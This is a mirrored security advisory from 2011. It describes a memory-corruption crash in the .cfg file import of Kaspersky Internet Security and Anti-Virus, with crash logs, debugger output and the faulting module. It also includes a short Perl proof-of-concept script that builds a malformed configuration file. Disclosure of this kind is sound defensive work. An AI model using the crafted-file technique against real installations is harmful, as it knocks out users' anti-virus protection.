Kaspersky Internet Security/Anti-Virus – ‘.cfg’ File Memory Corruption

  • 作者: Vulnerability Research Laboratory
    日期: 2011-12-21
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/36476/
  • source: https://www.securityfocus.com/bid/51161/info
    
    Kaspersky Internet Security and Anti-Virus are prone to a local memory-corruption vulnerability.
    
    A local attacker can exploit this issue to cause the affected application to crash, denying service to legitimate users. Due to the nature of this issue, arbitrary code execution may be possible; this has not been confirmed. 
    
    Title:
    ======
    Kaspersky IS&AV 2011/12 - Memory Corruption Vulnerability
    
    
    Date:
    =====
    2011-12-19
    
    
    References:
    ===========
    http://www.vulnerability-lab.com/get_content.php?id=129
    
    
    VL-ID:
    =====
    129
    
    
    Introduction:
    =============
    Kaspersky Internet Security 2011 has everything that you need to stay safe and secure while you re surfing the web. 
    It provides constant protection for you and your family – whether you work, bank, shop or play online.
    
    Kaspersky Anti-Virus 2011 – the backbone of your PC’s security system, offering real-time automated protection from 
    a range of IT threats. Kaspersky Anti-Virus 2011 provides the basic tools needed to protect your PC. Our award-winning 
    technologies work silently in the background while you enjoy your digital life.
    
    (Copy of Vendor Homepage: http://www.kaspersky.com/kaspersky_anti-virus&&http://www.kaspersky.com/kaspersky_internet_security)
    
    
    Abstract:
    =========
    Vulnerability-Lab Team discovered a Memory & Pointer Corruption Vulnerability on Kaspersky Internet Security 2011/2012 & Kaspersky Anti-Virus 2011/2012.
    
    
    Report-Timeline:
    ================
    2010-12-04:	Vendor Notification
    2011-01-16:	Vendor Response/Feedback
    2011-12-19:	Public or Non-Public Disclosure
    
    
    Status:
    ========
    Published
    
    
    Affected Products:
    ==================
    
    Exploitation-Technique:
    =======================
    Local
    
    
    Severity:
    =========
    Medium
    
    
    Details:
    ========
    A Memory Corruption vulnerability is detected on Kaspersky Internet Security 2011/2012 &Kaspersky Anti-Virus 2011/2012. 
    The vulnerability is caused by an invalid pointer corruption when processing a corrupt .cfg file through the kaspersky exception filters, 
    which could be exploited by attackers to crash he complete software process. 
    The bug is located over the basegui.ppl & basegui.dll when processing a .cfg file import.
    
    
    Vulnerable Modules: 
    
    			[+] CFG IMPORT
    
    
    Affected Version(s):
    Kaspersky Anti-Virus 2012 & Kaspersky Internet Security 2012
    KIS 2012 v12.0.0.374
    KAV 2012 v12.x
    
    Kaspersky Anti-Virus 2011 & Kaspersky Internet Security 2011
    KIS 2011 v11.0.0.232 (a.b)
    KAV 11.0.0.400
    KIS 2011 v12.0.0.374
    
    Kaspersky Anti-Virus 2010 & Kaspersky Internet Security 2010
    
    
    --- Kaspersky Bug Logs ---
    
    Folder:../Analyses/Crash Reports (KIS&KAV)
    
    KAV.11.0.0.232_08.04_22.24_3620.GUI.full.dmp
    KAV.11.0.0.232_08.04_22.24_3620.GUI.mini.dmp
    KAV.11.0.0.232_08.04_22.24_3620.GUI.tiny.dmp
    
    KAV.11.0.0.232_08.04_22.28_2956.GUI.full.dmp
    KAV.11.0.0.232_08.04_22.28_2956.GUI.mini.dmp
    KAV.11.0.0.232_08.04_22.28_2956.GUI.tiny.dmp
    
    KAV.11.0.0.232?_08.04_23.21_3712.GUI.full.dmp
    KAV.11.0.0.232?_08.04_23.21_3712.GUI.mini.dmp
    KAV.11.0.0.232?_08.04_23.21_3712.GUI.tiny.dmp
    
    KAV.11.0.0.232?_08.04_23.54_2640.GUI.full.dmp
    KAV.11.0.0.232?_08.04_23.54_2640.GUI.mini.dmp
    KAV.11.0.0.232?_08.04_23.54_2640.GUI.tiny.dmp
    
    Reference(s): 
    				../Analyses/Crash Reports (KIS&KAV)/kav_x32.rar
    				../Analyses/Crash Reports (KIS&KAV)/kis_x32-win7.zip
    				../Analyses/Crash Reports (KIS&KAV)/kis_x64.zip
    
    		
    
    --- Service Crash Report Queue Logs ---
    
    Folder: ../Analyses/Crash Reports (Service)
    
    AppCrash_avp.exe_1d98841adaefc9689cba9c4bbd7
    AppCrash_avp.exe_434b4962a0ccbccd3c2a6bd5f95
    AppCrash_avp.exe_583f849d49fe1a714c9bd02ba4e
    AppCrash_avp.exe_5f09d49c257b515e08a6defbf11
    AppCrash_avp.exe_69cb355e72347419436f047a313
    AppCrash_avp.exe_69cb355e72347419436f047a313
    AppCrash_avp.exe_a7a7fe58d34d13f0136d933e977
    AppCrash_avp.exe_d21fe6df9c207eac2d8c6bcacad
    AppCrash_avp.exe_d2c8cf27ba2a3f6ceaad6c44327
    AppCrash_avp.exe_ed94bb914e255192b71d1257c19
    
    
    Version=1
    EventType=APPCRASH
    EventTime=129256270253026260
    ReportType=2
    Consent=1
    UploadTime=129256270260076663
    ReportIdentifier=d70927a2-a1d7-11df-81a1-95fa4108d4d6
    IntegratorReportIdentifier=d70927a1-a1d7-11df-81a1-95fa4108d4d6
    WOW64=1
    Response.BucketId=1985200055
    Response.BucketTable=1
    Response.type=4
    Sig[0].Name=Anwendungsname
    Sig[0].Value=avp.exe
    Sig[1].Name=Anwendungsversion
    Sig[1].Value=11.0.1.400
    Sig[2].Name=Anwendungszeitstempel
    Sig[2].Value=4c2cd011
    Sig[3].Name=Fehlermodulname
    Sig[3].Value=basegui.ppl
    Sig[4].Name=Fehlermodulversion
    Sig[4].Value=11.0.1.400
    Sig[5].Name=Fehlermodulzeitstempel
    Sig[5].Value=4c2cd193
    Sig[6].Name=Ausnahmecode
    Sig[6].Value=c0000005
    Sig[7].Name=Ausnahmeoffset
    Sig[7].Value=00079c3c
    DynamicSig[1].Name=Betriebsystemversion
    DynamicSig[1].Value=6.1.7600.2.0.0.768.3
    DynamicSig[2].Name=Gebietsschema-ID
    DynamicSig[2].Value=1031
    DynamicSig[22].Name=Zusatzinformation 1
    DynamicSig[22].Value=0a9e
    DynamicSig[23].Name=Zusatzinformation 2
    DynamicSig[23].Value=0a9e372d3b4ad19135b953a78882e789
    DynamicSig[24].Name=Zusatzinformation 3
    DynamicSig[24].Value=0a9e
    DynamicSig[25].Name=Zusatzinformation 4
    DynamicSig[25].Value=0a9e372d3b4ad19135b953a78882e789
    UI[2]=C://Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe
    UI[3]=Kaspersky Anti-Virus funktioniert nicht mehr
    UI[4]=Windows kann online nach einer Lösung für das Problem suchen und versuchen, das Programm neu zu starten.
    UI[5]=Online nach einer Lösung suchen und das Programm neu starten
    UI[6]=Später online nach einer Lösung suchen und das Programm schließen
    UI[7]=Programm schließen
    LoadedModule[0]=C:/Program Files (x86)/Kaspersky Lab/Kaspersky Internet Security 2011/avp.exe
    LoadedModule[1]=C://Windows/SysWOW64/ntdll.dll
    LoadedModule[2]=C://Windows/syswow64/kernel32.dll
    LoadedModule[3]=C:/Windows/syswow64/KERNELBASE.dll
    ...
    ...
    LoadedModule[148]=C://Windows//SysWOW64//WMVCore.DLL
    LoadedModule[149]=C://Windows////SysWOW64//WMASF.DLL
    LoadedModule[150]=C://Windows//////SysWOW64////EhStorAPI.dll
    LoadedModule[151]=C://Program Files (x86)//Internet Explorer//ieproxy.dll
    LoadedModule[152]=C://Windows//SysWOW64//SAMLIB.dll
    State[0].Key=Transport.DoneStage1
    State[0].Value=1
    State[1].Key=DataRequest
    State[1].Value=Bucket=1985200055/nBucketTable=1/nResponse=1/n
    FriendlyEventName=Nicht mehr funktionsfähig
    ConsentKey=APPCRASH
    AppName=Kaspersky Anti-Virus
    AppPath=C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//avp.exe
    
    
    
    
    --- System Crash Report Queue Logs ---
    
    Folder:		Analyses//Crash Reports (System)
    
    WER7A62.tmp.appcompat.txt
    WER7FFE.tmp.mdmp
    WER6127.tmp.WERInternalMetadata.xml
    
    
    
    --- Exception Log ---
    (a50.ee8): Access violation - code c0000005 (first/second chance not available)
    eax=00000000 ebx=0331e7bc ecx=9699eef0 edx=6ddf9ba0 esi=00000002 edi=00000000
    eip=76f900ed esp=0331e76c ebp=0331e808 iopl=0 nv up ei pl nz na po nc
    cs=0023ss=002bds=002bes=002bfs=0053gs=002b efl=00010202
    
    
    
    
    --- Debug Logs ---
    FAULTING_IP: 
    basegui+79bed
    6ddf9bed 8b11mov edx,dword ptr [ecx]
    
    EXCEPTION_RECORD:ffffffff -- (.exr 0xffffffffffffffff)
    ExceptionAddress: 6ddf9bed (basegui+0x00079bed)
     ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
     Parameter[0]: 00000000
     Parameter[1]: 9699eef0
    Attempt to read from address 9699eef0
    
    PROCESS_NAME:avp.exe
    
    FAULTING_MODULE: 755b0000 kernel32
    DEBUG_FLR_IMAGE_TIMESTAMP:4c4f15cf
    MODULE_NAME: basegui
    ERROR_CODE: (NTSTATUS) 0xc0000005 - Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden.
    EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - Die Anweisung in 0x%08lx verweist auf Speicher 0x%08lx. Der Vorgang %s konnte nicht im Speicher durchgef hrt werden.
    EXCEPTION_PARAMETER1:00000000
    EXCEPTION_PARAMETER2:9699eef0
    
    READ_ADDRESS:9699eef0 
    
    FOLLOWUP_IP: 
    basegui+79bed
    6ddf9bed 8b11mov edx,dword ptr [ecx]
    
    FAULTING_THREAD:00000ee8
    BUGCHECK_STR:APPLICATION_FAULT_INVALID_POINTER_WRITE_INVALID_POINTER_READ
    PRIMARY_PROBLEM_CLASS:INVALID_POINTER_WRITE
    DEFAULT_BUCKET_ID:INVALID_POINTER_WRITE
    LAST_CONTROL_TRANSFER:from 6ddf9bfd to 6ddf9bed
    
    STACK_TEXT:
    0331f9b8 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bed
    0331f9f0 6ddf9bfd 0331fa54 02485068 00000001 basegui+0x79bfd
    0331fa28 6de5bd10 0331fa54 02485068 00000001 basegui+0x79bfd
    0331fa48 6de33ad0 0331fa54 000001f6 000001c2 basegui!DllUnregisterServer+0x12580
    0331fa5c 6de34320 00000200 00000000 01c201f6 basegui+0xb3ad0
    0331fa9c 6de34d45 000504b4 00000200 00000000 basegui+0xb4320
    0331fae0 6de33fdd 000504b4 00000200 00000000 basegui+0xb4d45
    0331fb30 754c6238 00000000 00000200 00000000 basegui+0xb3fdd
    0331fb5c 754f12a1 02bb0fb0 000504b4 00000200 user32!gapfnScSendMessage+0x270
    0331fbd8 754f10e2 0059afd4 02bb0fb0 000504b4 user32!SendNotifyMessageW+0x341
    0331fc28 754f11e7 00a06c90 00000000 00000200 user32!SendNotifyMessageW+0x182
    0331fc48 754c6238 000504b4 00000200 00000000 user32!SendNotifyMessageW+0x287
    0331fc74 754c68ea 754f11be 000504b4 00000200 user32!gapfnScSendMessage+0x270
    0331fcec 754c7d31 0059afd4 76db3908 000504b4 user32!gapfnScSendMessage+0x922
    0331fd4c 754c7dfa 76db3908 00000000 0331fd88 user32!LoadStringW+0x11f
    0331fd5c 754e2292 0331fe18 00000000 0331fe18 user32!DispatchMessageW+0xf
    0331fd88 754e70a9 000504b4 00000000 02485048 user32!IsDialogMessageW+0x11e
    0331fdb0 6de2e50b 000504b4 0331fe18 023d9be8 user32!IsDialogMessage+0x58
    0331fdcc 6de20c1c 0331fe18 74113b90 00000000 basegui+0xae50b
    0331fdfc 6de231a8 0331fe18 7411383c 02e260ec basegui+0xa0c1c
    0331fe50 6de07dbc 00000000 005e8228 6ddd6f8c basegui+0xa31a8
    0331fe64 72da3487 00000003 00000000 005e8244 basegui+0x87dbc
    
    
    STACK_COMMAND:~5s; .ecxr ; kb
    SYMBOL_STACK_INDEX:0
    SYMBOL_NAME:basegui+79bed
    FOLLOWUP_NAME:MachineOwner
    IMAGE_NAME:basegui.ppl
    BUCKET_ID:WRONG_SYMBOLS
    FAILURE_BUCKET_ID:INVALID_POINTER_WRITE_c0000005_basegui.ppl!Unknown
    WATSON_STAGEONE_URL:http://watson.microsoft.com/StageOne/avp_exe/11_0_0_232/4be3cfb6/basegui_ppl/11_0_0_241/4c4f15cf/c0000005/00079bed.htm?Retriage=1
    
    Followup: MachineOwner
    ---------
    0:005> lmvm basegui
    startendmodule name
    6dd80000 6df19000 basegui(export symbols) basegui.ppl
    Loaded symbol image file: basegui.ppl
    Image path: C://Program Files (x86)//Kaspersky Lab//Kaspersky Internet Security 2011//basegui.ppl
    Image name: basegui.ppl
    Timestamp:Tue Jul 27 19:22:23 2010 (4C4F15CF)
    CheckSum: 0019E22D
    ImageSize:00199000
    File version: 11.0.0.241
    Product version:11.0.0.241
    File flags: 0 (Mask 3F)
    File OS:40004 NT Win32
    File type:1.0 App
    File date:00000000.00000000
    Translations: 0409.04b0
    CompanyName:Kaspersky Lab ZAO
    ProductName:Kaspersky Anti-Virus
    InternalName: BASEGUI
    OriginalFilename: BASEGUI.DLL
    ProductVersion: 11.0.0.241
    FileVersion:11.0.0.241
    FileDescription:Kaspersky Anti-Virus GUI Windows part
    LegalCopyright: Copyright © Kaspersky Lab ZAO 1997-2010.
    LegalTrademarks:Kaspersky™ Anti-Virus ®is registered trademark of Kaspersky Lab ZAO.
    0:005> .exr 0xffffffffffffffff
    ExceptionAddress: 6ddf9bed (basegui+0x00079bed)
     ExceptionCode: c0000005 (Access violation)
    ExceptionFlags: 00000000
    NumberParameters: 2
     Parameter[0]: 00000000
     Parameter[1]: 9699eef0
    Attempt to read from address 9699eef0
    
    
    Information:
    The kaspersky .cfg file import exception-handling filters wrong or manipulated file imports like one this first test ... (wrong-way.png).
    The PoC is not affected by the import exception-handling & get through without any problems. A invalid pointer write & read allows
    an local attacker to crash the software via memory corruption. The technic & software to detect the bug in the binary is prv8.
    
    Notice:
    An local attacker do not need to know any passwords to load a .cfg (Configuration) file. (access-rights.png)
    
    
    Folder:			
    ../Analyses/Debug
    
    
    References(Pictures):
    						../appcrash1.png
    						../appcrash2.png
    						../appcrash3.png
    						../appcrash4.png
    						../appcrash5.png
    						../debug&exception.png
    						../kav2011.png
    						../reproduce-x32.png
    						../wrong-way.png
    						../access-rights.png
    
    
    Proof of Concept:
    =================
    The vulnerability can be exploited by local attackers via import or remote attacker via user inter action. 
    For demonstration or reproduce ...
    
    
    #!/usr/bin/perl
    ##############################################################################
    my $code="corrupt" x 1;
    ###################################################################
    $FH1 = "file1";
    $FilePath1 = "part1.bin";
    $FH2 = "file2";
    $FilePath2 = "part2.bin";
    ###################################################################
    open(myfile,'>> poc_pwn.cfg');
    binmode myfile;
    ###################################################################
    open(FH1, $FilePath1);
    binmode FH1;
    while (<FH1>) {
     print myfile;
    }
     close(FH1);
    print myfile $code;
    open(FH2, $FilePath2);
    binmode FH2;
    while (<FH2>) {
     print myfile;
    }
    close(FH2);
    ###################################################################
    
    
    PoC:			
    			../PoC/kis&kav_2011_2012_p0c.pl
    			../PoC/part1.bin
    			../PoC/part2.bin
    
    
    Risk:
    =====
    The security risk of the bug/vulnerability is estimated as medium(+).
    
    
    Credits:
    ========
    Vulnerability Research Laboratory - Benjamin K.M. (Rem0ve)
    
    
    Disclaimer:
    ===========
    The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, 
    either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-
    Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business 
    profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some 
    states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation 
    may not apply. Any modified copy or reproduction, including partially usages, of this file requires authorization from Vulnerability-
    Lab. Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of 
    other media, are reserved by Vulnerability-Lab or its suppliers.
    
    						Copyright © 2011|Vulnerability-Lab
    
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